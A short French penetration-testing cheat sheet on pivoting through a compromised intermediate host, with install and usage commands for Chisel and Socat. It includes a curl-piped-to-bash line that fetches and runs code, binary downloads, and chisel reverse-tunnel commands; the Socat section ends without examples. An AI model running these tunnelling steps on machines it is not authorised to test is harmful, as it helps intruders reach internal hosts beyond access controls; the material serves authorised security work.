[Pivoting] Port forwarding
Introduction
Dans le cas d'une compromission d'une infrastructure où une machine cible n'est pas directement accessible, il va falloir établir un tunnel entre vous et la machine cible en passant par la machine qui a accès à la machine cible.
On va devoir mettre en place un reverse proxy sur la machine intermédiaire pour pouvoir router les paquets.
Chisel
Installation
Voici le lien github de l'outil :
Vous pouvez installer l'outil sur le poste intermédiaire si vous avez les droits root grâce à la commande suivante :
curl https://i.jpillora.com/chisel! | bash
Téléchargez le binaire (version 19.1) :
curl -O -L https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz && gunzip chisel_1.9.1_linux_amd64.gz && mv chisel_1.9.1_linux_amd64 chisel && chmod +x chisel
Manuel
- Trouvez un port non utilisé (absent de cette liste) :
(netstat -punta || ss -n -t -p -u)
- Depuis le pc intermédiaire, exécutez la commande suivante :
./chisel client <TARGET_IP>:<TARGET_PORT> R:<LISTEN_PORT>:127.0.0.1:<FORWARD_PORT>
- Puis sur le poste de l'attaquant :
./chisel_server <INTERMEDIATE_IP> -p <INTERMEDIATE_PORT> --reverse
Socat
Installation
Voici le github du projet :
Pour télécharger le binaire :
curl -o socat -L https://github.com/3ndG4me/socat/releases/download/v1.7.3.3/socatx64.bin && chmod +x socat
Manuel
Un tas d'options est disponible et permet de faire du port forwarding.
Vous trouverez tous les exemples ici :